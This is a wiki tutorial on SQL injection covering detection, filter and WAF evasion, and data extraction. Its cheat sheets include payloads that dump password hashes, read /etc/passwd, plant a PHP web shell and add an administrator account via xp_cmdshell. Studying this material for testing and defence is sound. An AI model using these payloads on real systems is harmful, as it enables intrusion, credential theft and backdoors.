Questions about this topic? Sign up to ask in the talk tab.

SQL injection

From NetSec
(Redirected from SQL Injection)
Jump to: navigation, search

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically, databases include things like (but not limited to):

  • Authentication credentials
  • Other identifying information about a user (like an IP address)
  • Site configurations
  • Site content and themes
  • Communications between users within the site
SQL injection requires a basic understanding of SQL and manipulation of SQL data


c3el4.png This page will be updated relatively frequently, if it does not have the answer to your question, try the IRC, or check back later. In the IRC, we'll do our best to help you find the solution. Also, if you see missing things you'd like to contribute, don't hesitate to contact us.

Special thanks to hatter for his contributions to this article.

Contents

Cause(s) of vulnerabilities

Now is a good time for orientation with SQL servers and queries with the SQL primer, otherwise this text may prove be confusing. SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

  • Un-sanitized user input - The developer made no effort to stop an injection attack
  • Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
  • Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
  • Cookies and other "hidden" forms of communication in the HTTP request header are also processed as user input and can be considered attack vectors as well.

Potential target environments

A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application. It is important to note the HTTP server's version information along with the programming language in use by any application during testing. This in conjunction with Operating System information will assist during privilege escalation with injection.

Navigating unfamiliar databases without the C API

Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata, routines, columns, and tables.

MySQL database mapping

When outside of the C SQL API, access the data structure via the information_schema database.

  • Show Databases equivalent:
SELECT schema_name FROM information_schema.schemata;
  • Show tables equivalent:
SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=[database_name]
  • Show fields equivalent:
SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[database_name]

If the currently selected database is the only accessible database in the context of the vulnerable query, time can be saved by using the database() function or @@database environment variables, e.g. where table_schema = database() or where table_schema = @@database.

PostgreSQL mapping

PostgreSQL has the current_database() function in stead of the database() function.

  • \dn equivalent:
SELECT schema_name FROM information_schema.schemata WHERE catalog_name=[DATABASE name]
  • \dt equivalent:
SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=[DATABASE name]
  • \d [column_name] equivalent:
SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=([schema_query]) AND catalog_name=[database_name]



MS SQL mapping

An important note is that MS SQL is different when it comes to ordered single-cell selection.

Notice: We don't currently have a method of listing all of the database names in MS SQL. If you have a copy that one of the developers can use for testing to improve this article, please don't hesitate to let us know in IRC.
  • Listing Tables:
SELECT TABLE_NAME FROM information_schema.columns WHERE table_catalog=[database_name] GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC;
  • Listing Columns:
SELECT column_name FROM information_schema.columns WHERE table_catalog=[database_name] AND TABLE_NAME=[table_query] GROUP BY column_name ORDER BY column_name ASC



Legacy databases

The information_schema database entered the open source community in MySQL version 5 and at the end of PostgreSQL Version 7.3; old and current versions of SQL engines contain their schema information in their administration databases. More information can be found on this by combining techniques listed here with the manuals and documentation.

Access/MSSQL

  • sysobjects table/database (Legacy Access/Jet Engine)
  • msysobjects table/database (Legacy SQL Server CE)
PROCEDURE ANALYSE might come in handy.

MySQL 4

  • MySQL.columns_priv
  • MySQL.tables_priv
  • MySQL.db
It is typical that legacy database versions require privileged access for flexible mapping.



Databasing engines compared and contrasted in light of SQL injection

For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function or variable per sql version.

  • Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.
  • Not all similarities or differences are documented here, only those relevant to SQL injection.
  • Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax.

There are enough similarities that it is possible to have a degree of universal exploitation.

Information_schema

All of the databasing engines that presently have an information_schema collection have the following in common:

  • The information_schema.tables table has a table_name column.
  • The information_schema.columns table has both table_name and column_name columns.
  • All of them have information_schema.routines and information_schema.schemata tables.

These database engines include PostgreSQL, MySQL, and MSSQL.

Functions & environment variables

Similarities between the different engines

MS SQL, MySQL, and PostgreSQL share the following:

  • ascii()
  • substring()
  • count()
  • lower()
  • upper()
  • BETWEEN ... AND ... conditional operator

MySQL and Postgres share the following:

  • current_database()
  • version()
  • current_user
  • LIMIT ... OFFSET ... clause syntax

MySQL and MSSQL share the following:

  • database()
  • @@version
  • RLIKE clause for regular expressions

Other syntax

All of the databases share the same comparison operators, basic SELECT, WHERE, GROUP, and ORDER syntax. PostgreSQL and MySQL now also share the same LIMIT syntax}} 

LIMIT [COUNT] offset [ROW TO START at]

Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack. 

SELECT top 1 $column FROM (SELECT top $OFFSET $column FROM $table [WHERE clause] [GROUP BY clause] ORDER BY $column DESC) sq [GROUP BY clause] ORDER BY $column ASC

Capabilities

Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer.

  • MSSQL Has the ability to execute server side commands natively via xp_cmdshell. This feature can be enabled or disabled (remotely), and other functions exist to read/write to the windows registry.
  • MySQL has the ability to read and write to files using the LOAD DATA and SELECT ... INTO OUTFILE ... statements as well as the load_file() function.
  • PostgreSQL is the only databasing engine which supports trigger functions or other user-defined functionality added to a table in most procedural scripting languages (Perl,Python,Ruby). Because it supports stacked queries when combined with PHP, it is possible to use SQL injection to install an SQL backdoor or plugin.



Modern day SQL injection obstacles and countermeasures

Obstacles can occur on various layers of the OSI model. The software layer may filter the input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect to a honeypot. The HTTP server may also be running a Web Application Firewall. A researcher or penetration tester may find overcoming these obstacles difficult, but usually not impossible given enough dedication.

Configuration & environment challenges

Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy. Different databasing engines have different configuration settings, but usually include some form of maximum number of connections, maximum query size, maximum results size, maximum number of connections per user or client, and other resource restrictive options. Simply distributing a time consuming attack may only hinder the attacker by exhausting resources.

Database permissions and role-based-access control integration for the application may also play a large role in the amount of data an attacker may gather, as SQL injection only exploits in the context of the active connection to the SQL server that the vulnerable query executes within (ie. the username and password that the application is using for the query being exploited). Programming languages have different configurations for runtime as well, such as memory limits and maximum execution time when configured to run in conjunction with a webserver. Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and web application firewalls

Web application firewalls usually operate at the same layer as the HTTP server or web applications, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer. Most intrusion detection mechanisms built for web applications operate using signature-based detection. Therefore, as long as an attack does not match a signature, it will slip by most of them.

Common web application firewall HTTPD modules

  • Mod_Security (Apache)
  • Naxsi (Nginx)
  • ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Improper sanitizing

Any time improper sanitizing takes place there is a potential for partial sanitizing, and may make the exploitation process highly difficult if not impossible.

Partial sanitizing

Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely. In many circumstances, it is possible to craft injection queries without syntax characters, resulting in filter bypass and sometimes IDS evasion.

  • The space character (or all whitespace)
Jump to sql injection without whitespace
  • The single quote and double quote characters: ', "
Jump to sql injection without quotes
  • The tag or "equals" comparative operators: <, >, and =
Jump to sql injection without tags
  • The comma character: ,
Jump to sql injection without commas
  • The parenthesis characters: ( and )

Deprecated sanitizing

PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes().

Basic remote tests for SQL injection vulnerabilities

There are a number of factors to take into consideration when analyzing a SQL injection vulnerability. These factors will determine methodology for successful exploitation. SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three.

  • Standard vulnerabilities - The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.
  • Error-based vulnerabilities - Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.
  • Blind vulnerabilities - Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.


Injection points

An SQL injection vulnerability's type is determined by the location of the user input. $input is used as an example input variable in the queries below to illustrate their classifications.

  • SELECT ... WHERE clause injection
$query = "select * from table where id=$input";
  • SELECT ... LIMIT, OFFSET, ORDER BY, and GROUP BY clause injections
$query = "select * from table limit $input";
$query = "select * from table limit 1 offset $input";
$query = "select * from table order by $input";
$query = "select * from table group by $input";
  • UPDATE ... SET clause injection
$query = "update table set var=$input";
  • UPDATE ... WHERE clause injection
$query = "update table set var=value where column_name='$input'";
  • INSERT ... VALUES clause injection
$query = "insert into table values(null,$input)";

Input testing

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, GET parameters, and other request headers. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.}}

Your first where clause injection

The most reliable of tests consist of boolean challenges that filter the results a query returns combined with arithmetic operators. Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test.

  • In the first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like: 
 /article_by_id.php?id=10
  • A researcher could check that URI against:
 /article_by_id.php?id=10%20AND%201=1
 and
 /article_by_id.php?id=10%20AND%201=0
  • When a page is vulnerable, the page on
 /article_by_id.php?id=10%20AND%201=1

will match the page on: 

 /article_by_id.php?id=10

however the page at: 

 /article_by_id.php?id=10%20AND%201=0

will have data (and likely the entire article) missing.

  • In the second example, using $title, the same affect can be achieved on an unsanitized string with the following URI's:
 /article_by_title.php?id=SQL%27%20AND%20%271%27=%270
 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

The same methodology as the integer test applies, merely with added single quotes (%27).

RPU0j.png
Most of today's security systems will easily identify and block simple testing methods like those illustrated above.

Reconstructing injected queries

Reconstruction of queries locally will be available if the SQL database engines is installed. Links are provided at the end of the page for following along. Using the above testing examples, the queries generated from the url tampering will be reconstructed.

  • Original Query:
$query = "select * from articles where id=$id";
  • Generated Queries:
$query = "select * from articles where id=10 and 1=1";
$query = "select * from articles where id=10 and 1=0";

Or, alternatively, the $title example can be examined:

  • Original query:
$query = "select * from articles where title='$title'";
  • Generated queries:
$query = "select * from articles where title='SQL' and '1'='0'";
$query = "select * from articles where title='SQL' and '1'='1'";
  • The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.

Bypassing modern SQL injection security measures

c3el4.png Simply triggering an IPS or WAF and having the request blocked under only certain conditions does not confirm the vulnerability of the page.

To exploit or even test web applications in the modern world, countermeasures that are in place would need to be recognized and defeated. A WAF is probably in the way if the following things are being experienced:

  • Having the connection to the server reset ONLY when testing the site for vulnerabilities
  • 403 Forbidden responses ONLY when testing the site for vulnerabilities
  • Being blocked by the remote firewall after a repeatable number of injection attempts

Many IDS and WAF systems can be easily evaded by either:

  • Simply using SSL or HTTPS
  • Using a de-syncronization attack like session-splicing when SSL is not an option.

Basic signature evasion

Signature evasion is very similar to evading partial sanitizing. Instead of modifying the characters, an IPS drops traffic if the characters appear in a particular sequence in order to match a pattern. By discovering that sequence, adjustments can be made to the queries to evade the IPS or WAF in the way of the testing. Many web application firewalls will recognize the "1=1" test simply due to its popularity. Other queries that are very similar may also be noticed. Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.

Whitespace placement

Take note of the whitespace around the = operator. If there is none, try adding a space. If there is a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. Lopsided, missing, or extra whitespace may be found that can bypass signature-based analysis engines. 

 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 (TRUE)
 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 (FALSE)

Integer and string size delimiters

Because there is usually a size delimiter or a maximum size to the integer, the size to stop detection can be exceeded. Ten digit random numbers, instead of the single digit predictable numbers might do the trick. 

 %20and%402837649781237849=402837649781237849 (TRUE)
 %20and%201789236419872364=128756128398671289 (FALSE)

Switching up the data types

If integers are proving a hard time, the signature may be tuned too specifically to integers. Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature. 

 %20and%205.8=5.8      (TRUE)
 %20and%200.2=0.3      (FALSE)

Arithmetic tests

Instead of comparing a value like "1=1", compare mathematical expressions. Mathematical expressions may be the key to bypassing the problem if there are still problems with signature detection. 

 %20and%201.2+3=4.2    (TRUE)
 %20and%200.2-1=0      (FALSE)

Capitalization

If there are still problems during testing, this probably isn't the issue. Try changing the case of the letters making up the boolean operator (and to AnD and or to oR).

Extending conditional statements

Many IDS signatures will look for a boolean operator ("and" or "or") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id=1 and 1=1, there are two conditions there).

  • Using IF for MySQL injection:

The syntax for the IF statement in MySQL is: 

IF([condition],[VALUE TO RETURN IF TRUE],[ELSE RETURN VALUE])
 %20and%20if(10829361=10829361,1,0)  (TRUE)
 %20and%20if(98276232=72619126,1,0)  (FALSE)

Any combination of the above techniques can be used in conjunction with one another as long as the queries still return true and false.

Defeating partial sanitizing

If an attempt is made to bypass the sanitizing by breaking the sanitizing method, there will most likely be trouble. Instead, bypass the sanitizing by crafting queries that do not require sanitized characters.

Quotes

MySQL and certain versions of Microsoft SQL allow for string literals to be passed in hexadecimal format.: 

 select 'abc';
 ...is equivalent to...
 select 0x616263;.
 Additionally, PostgreSQL allows the use of two dollar signs as string delimiters
 select $$abc$$;

Therefore, 0x616263 can be used in place of 'abc'. This will come in handy while exploiting a WHERE clause and not being able to use quotes.}}

String concatenation can avoid the use of quotes the use of quotes in:

  • MySQL:
 Using the char() function to construct the string 'abc':
 select char(97,98,99);
 ->Similar to the hex example, char(97,98,99) can be used interchangeably with the string 'abc'.
  • PostgreSQL:
 Using the chr() function and double-pipe concatenation operator:
 select chr(97)||chr(98)||chr(99);
 ->Similar to the above example, chr(97)||chr(98)||chr(99) can be used interchangeably with the string 'abc'.
  • Microsoft SQL Server:
 Using the char() function and plus operator:
 select char(97)+char(98)+char(99);
 ->Similar to the other examples, char(97)+char(98)+char(99) can be used interchangeably with the string 'abc'.

Whitespace filtering

Filtering can be bypassed on the space character by using alternative whitespace characters to the space character (%20). Most SQL engines consider a line return (%0a in a *NIX environment, %0a%0d in a Windows environment), tab characters, or the + character as valid whitespace: 

 and%0a1=1
 and%0a1=0
 and+1=1
 and+1=0

MySQL treats block comments as whitespace. 

AND/*comment1*/1/*comment2*/=/*comment3*/1
AND/*comment1*/1/*comment2*/=/*comment3*/0

Bypassing XSS filters during SQL injection

If XSS filtering is encountered, chances are the standard comparison operators (=, <,>) are being filtered out. If this is the case, 'alternative comparison operators will need to be used':

  • [VALUE] BETWEEN ... AND ...
  • [VALUE] REGEXP [PATTERN] - MySQL
  • [VALUE] RLIKE [PATTERN] - MS SQL
  • [VALUE] ~ [PATTERN] - PostgreSQL

Testing with BETWEEN

The between operator is universal across all SQL platforms with the same syntax, and as a result is a more reliable testing method.

  • The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range. For example, 50 is between 0 and 100, but 300 is not, which safely avoids using the = operator in the query:
 and%2050%20between%200%20and%20100   (True)
 and%20300%20between%200%20and%20100  (False)
  • This turns the query into something like:
 select * from articles where id=1 and 50 between 0 and 100
 select * from articles where id=1 and 300 between 0 and 100

The between operator can also be used on strings: 

 and%20'c'%20between%20'a'%20and%20'm (True)
 and%20'z'%20between%20'a'%20and%20'm (False)

Testing with Regular Expression Operators (REGEXP, ~, and RLIKE)

  • Different database engines have different operators for Regular Expressions:

MySQL uses the REGEXP operator.

PostgreSQL uses the ~ operator.

MS SQL uses the RLIKE operator.

Regular expressions are the most evasive method for remote SQL injection possible, as they lack many of the common syntax characters necessary for other forms of injection.

The following tests contruct strings using native string constructors to bypass any requirement for quotes. For more information regarding this, please see the entry on sql injection without quotes.

Below are either hexadecimal character codes or ascii code equivilent characters being translated into a string by the SQL server. Understanding is required in order to become proficient in SQL injection.</i>

True: 
AND 0x2e REGEXP 0x2e
False: 
AND 0x6a REGEXP 0x7a
  • PostgreSQL testing:
True: 
AND chr(97) ~ chr(97)
False: 
AND chr(98) ~ chr(99)
  • MS SQL testing:
True: 
AND CHAR(97) RLIKE CHAR(97)
False: 
AND CHAR(104) RLIKE CHAR(64)

Intermediate SQL injection

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Example testing is not included for UPDATE or INSERT queries using subqueries. In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found. Then substitute column values for insert and delete using subqueries that return a single cell rather than a single byte, similar to blind extraction.

Automation theory

The most important thing when automating SQL injection is recognizing boundaries.

Loop Delimeters:

  • Length of single cell strings (length sql functions)
 
SELECT LENGTH(USER())
SELECT CHAR_LENGTH(USER())
SELECT len(USER())
  • Number of rows returned by a query (count sql functions)
 
SELECT COUNT(column_name) FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[DATABASE]
 

Obtaining data types:

  • Data types of single cells (type from information_schema.columns)
SELECT column_type FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND column_name=[column_name] AND table_schema=[DATABASE]
Protip: It is a good idea to use order by every time injection occurs in case results are not constant due to where clause restraints.


Sometimes integer values won't be able to be selected when using error-based injection. There's more than one way to solve this.

  • Predefined scope

Use ORDER by to find the upper most row and lower most row of the results set. It can be stopped by starting at an element on one end and then keeping the order by clause intact, incrementing the offset; it will stop when it has reached the value on the other end of the table. 

 
    $stop_value  = "select id from table order by id desc limit 1 offset 0";
    $start_query = "select id from table order by id asc limit 1 offset 0";
 

In the loop: 

 
    $loop_query = "select id from table order by id asc limit 1 offset $counter";
 

When the value returned by $loop_query equals the value from $stop_query, terminate the loop.

  • Cast and concatenate

attempt to string concatenate a character to the integer to throw an error.


Here are a few variables to be aware of while writing automated exploit software.

Counters:

  • Row Counter
  • Byte Index Counter

Temporary Variables:

  • Length of current target cell
  • Number of rows in current target table

SQL Dialect Variables:

  • Sanitized Syntax Characters
  • Whitespace character(s)
  • String concatenation operator
  • Comment syntax

Basic Injection : Union Select

  • The UNION operator allows collection of the output of two SELECT statments with UNION ALL SELECT or UNION SELECT so long as the results have the

same number of columns: 

SELECT COLUMN FROM TABLE UNION ALL SELECT COLUMN

Determining the number of columns

The number of columns can be determined using ORDER BY injection and incrementing a field index, for example: 

 /article.php?id=1 ORDER BY 1 asc
 /article.php?id=1 ORDER BY 2 asc
Notice:
  • When the page no longer displays, a boundary has been hit. The largest number in the order by clause that still allows the page to display properly is the number of columns.


Extracting data

If the number of columns is known in a table (for example, by using the ORDER BY injection technique), the following injection can be used assuming that there are 2 columns: 

 /article.php?id=5 UNION ALL SELECT 1,2/*
Protip: Sometimes UNION ALL SELECT will not work, but UNION SELECT will, and vice versa. This has to do with the SQL engine and vulnerable web application's programming or SQL queries. Additionally, an invalid ID may be set(e.g. -1) to get the data the UNION SELECT returns to display on the page.
  • This generates the following query:
SELECT * FROM ARTICLES WHERE id=5 UNION ALL SELECT 1,2/*
Notice: This selects every entry where both id=5 and where column = 1 or 2. If the number 1 or 2 was outputted, UNION would be demonstrated to work. If 2 was output, it is known that the application's programming displays the second column on the page. (This could be any column, really.)
  • An example of SQL injection using union select to obtain the SQL version:
 /article.php?id=-1 UNION ALL SELECT 1,version()/*

The version information should now be displayed in the area where the number `2' originally displayed.

  • Once we know this, obtaining data is as simple as setting up the query as a simple select:
 /article.php?id=-1 UNION ALL SELECT 1,table_name from information_schema.tables where table_schema=database() limit 1/*

In this case, the first table name in the current database should be displayed in stead of the version information.

  • This particular injection appears at first glance to be limited to a single entry (unless more columns are available for display), but in truth one can use the string concatenation functions or operators (+, ||, concat(), group_concat(), etc) to display the contents of several columns and/or rows as a single string:
 /article.php?id=-1 UNION ALL SELECT 1,group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database()/*
  • Which would format a map of a MySQL database in the format:
 table1.column1, table1.column2, table2.column1

The amount of data that can be returned returned by the group_concat() function is set by a session environment variable.



Intermediate testing: "SELECT" ... LIMIT clause injections

Protip: Microsoft SQL Server does not feature this classification of vulnerability due to its lack of a LIMIT clause, however similar techniques to the LIMIT clause attack will work on it as well as other database engines:
  • GROUP BY clause injection
  • ORDER BY clause injection
To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause that is being injected into. The following example URI will be used:
 /view_results.php?start=30&perpage=10
c3el4.png A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax: 
LIMIT $perpage OFFSET $start
c3el4.png On older versions of MySQL, the offset operator was not supported. In those cases the older syntax will be used: 
LIMIT $start,$perpage
  • Because the input is located at either $start or $perpage in a LIMIT clause, it can be deduced that:
 UNION SELECT is the only available method for successful exploitation.
 The rest of the query will have to be commented out for successful exploitation.
  • In order to access UNION SELECT if there are data limitations:
 The LIMIT clause must be given an impossible starting offset so that no data will be displayed,
 making room for data returned by the UNION SELECT.  The offset will have to be a larger number
 than the number of rows returned by the query.


Intermediate injection: information retrieval via verbose errors

This technique relies on the following database and application characteristics:

  • Sometimes databases display errors containing selected data even though union select is not an option.
  • Sometimes the application will display SQL errors on the page.
Protip: There are two ways to cause errors that contain data:
  • An impossible cast
  • A duplicate key in a group by statement

When a web application displays its SQL errors, there's a few things that can be done to make errors display data along with them. In each of the examples below, the @@database variable or current_database()/database() functions return what can be seen for error output. These can be replaced with any subquery'd select statement that returns a single cell.

  • MSSQL:
     
AND 1=CAST(@@DATABASE AS INT)--
 

 AND 1=CONVERT(INT,@@DATABASE)--


 
  • MySQL:
     
 AND 1=2 OR ROW(1,1) > (SELECT COUNT(*),concat(DATABASE(),0x3a,FLOOR(rand()*2) ) x FROM (SELECT 1 UNION SELECT 2) a GROUP BY x LIMIT 0,1)
 
  • PostgreSQL:
     
 AND 3=5 OR (SELECT CAST(current_database() AS NUMERIC)) = (SELECT CURRENT_USER())
 

Blind SQL injection

Related tools: mysqli-blindutils

There are primarily two types of blind sql injection vulnerabilities: partial blind and total blind.

Partial blind injection is referred to as partial because data returned by the application changes to some extent. This may mean it simply does not display in one instance while it displays in the other.

Completely blind vulnerabilities will not result in a change of the returned dataset in the page output, thus timing attacks must be utilized for successful exploitation because they affect the HTTP response time rather than the HTTP response data.

There are traditionally two types of exploitation for blind sql injection:

  • Blind data extraction
  • Boolean enumeration

Each exploitation method has viable options for both partial blind and total blind injection. Blind data extraction is by far faster than boolean enumeration. When using boolean enumeration for exploitation of sql injection, an attacker is able to receive only one bit of data per request. With printable text characters this usually requires 7 requests (because the highest order bit is never set in latin1 printable characters), however this will require up to 8 requests for a byte of binary data. In comparison, blind extraction can be used to retrieve values exceeding a full byte per request.


Blind extraction

There are two types of blind SQL extraction attacks:


The only things that these methods have in common is:

  • These attacks are all limited in some fashion because of environment and latency or dataset, respectively.
  • Successful exploitation requires automation programming.

Boolean Enumeration

There are primarily two types of attacks used for boolean enumeration:

Further penetration

Most demonstrated methods require additional privileges

Obtaining direct database access

Requires a privileged user or valid privilege escalation

There are several methods for obtaining direct database access so that log in can occur remotely. 

  SELECT load_file('/path/to/config.php');
  • After escalating privileges to administrator of the web application using its administrative interface to run queries directly find the authentication credentials in the configuration file with a file editor

Obtaining authentication credentials from the web application's configuration file using code-execution after privilege escalation

Terminal

localhost:~ $ find -name \*conf\*.php -exec grep -iHn "user\|name\|pass\|host" '{}' \;

Obtaining filesystem access

This will require MySQL, depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.

  • load_file()
Mysql's load_file() function takes a single string literal (it can be bypassed with 0x[hex]) as a filename and returns either the file contents as a single-cell string or null if the query failed for any reason.
  • select ... into outfile
into outfile is limited in that it cannot receive a string literal, but must be a constant.

Examples of these are located in the priveleged MySQL cheat sheet.

Obtaining code execution

It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete PHP or other interpreted languages in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected web application and get to cracking the authentication credentials for the admin user.

By ending the query with a semicolon or comment delimiter and beginning a new query, we can get MS SQL to run 

;exec master..xp_cmdshell 'net user hacker hacker_password /add'
;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';--
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--

Cheat Sheets

Vulnerability testing

Protip: Using the compacted best true and false statements for compatibility and evasion here. If problems occur, recommended reading is remote testing or defeating sql injection filters.


Universal true and false statements

Notice: The accuracy of this stuff has been ensured. If missing any universal testing operators, please let us know.
  • Standard operators (Universal):
True: 
AND 230984752 = 230984752
False: 
AND 1023947182234 = 4382616621386497
  • The Between ... And ... operators (Universal):
True: 
AND 238829 BETWEEN 238826 AND 238927
False: 
AND 328961 BETWEEN 928172 AND 986731
  • The LIKE operator (Universal):
True: 
AND 'sqltest' LIKE 'sql%'
False: 
AND 'sqltest' LIKE 'not true'
  • The REGEXP operator (RLIKE in Microsoft SQL and the "~" character in PostgreSQL, Universal):
True: 
AND 'sqltest' REGEXP '^sql'
False: 
AND 'sqltest' REGEXP '^false'

MySQL syntax reference

  • Comment notation: 
 /*   [*/]
 %23 (# urlencoded) 
 --[space]
  • Handy functions, statements, and Environment Variables:
  version()
  USER()
  current_database()
  COUNT([column_name]) FROM [TABLE_NAME]
  LENGTH([column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  substr([query],[byte_counter],1) 
  concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  group_concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  • The need for quotes can be evaded by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if "select 'jj'" is run.

Mysql versions >= 5 user schema mapping (unprivileged)

  • Show Databases Equivilent:
 SELECT schema_name FROM information_schema.schemata LIMIT 1 offset 0
  • Show Tables Equivilent
 SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0
  • Show Fields Equivilent
SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND TABLE_NAME=([TABLE query]) LIMIT 1 offset 0

Privileged MySQL (any version) user

  • Get mysql usernames and password hashes:
 SELECT concat(USER,0x2f,password) FROM mysql.user LIMIT 1
  • Grab /etc/passwd
SELECT load_file(0x2f6574632f706173737764)
  • Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs
 SELECT 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e INTO OUTFILE '/var/www/localhost/htdocs/.shell.php'

PostgreSQL syntax reference

Handy functions & Environment Variables include: 

 
  current_database()
  CURRENT_USER()
  chr()
  ascii()
  substr()

Quick and common string concatenations:

c3el4.png String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".
  • Congruent to select 'BASE TABLE';:
      (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))
  • Congruent to select 'pg_catalog';:
      (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))
  • Congruent to select 'information_schema';:
      (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL schema mapping

  • \dn equivilent:
  SELECT schema_name FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 offset 0
  • \dt equivilent:
  SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=current_database() LIMIT 1 offset 0
  • \d [table_name] equivilent:
  SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=(schema_query) AND catalog_name=current_database() LIMIT 1 offset 0

Microsoft SQL syntax reference

  • Handy functions, statements, and Environment Variables:
 database()
 ascii()
 substring()
 WAIT ... FOR DELAY
 @@version
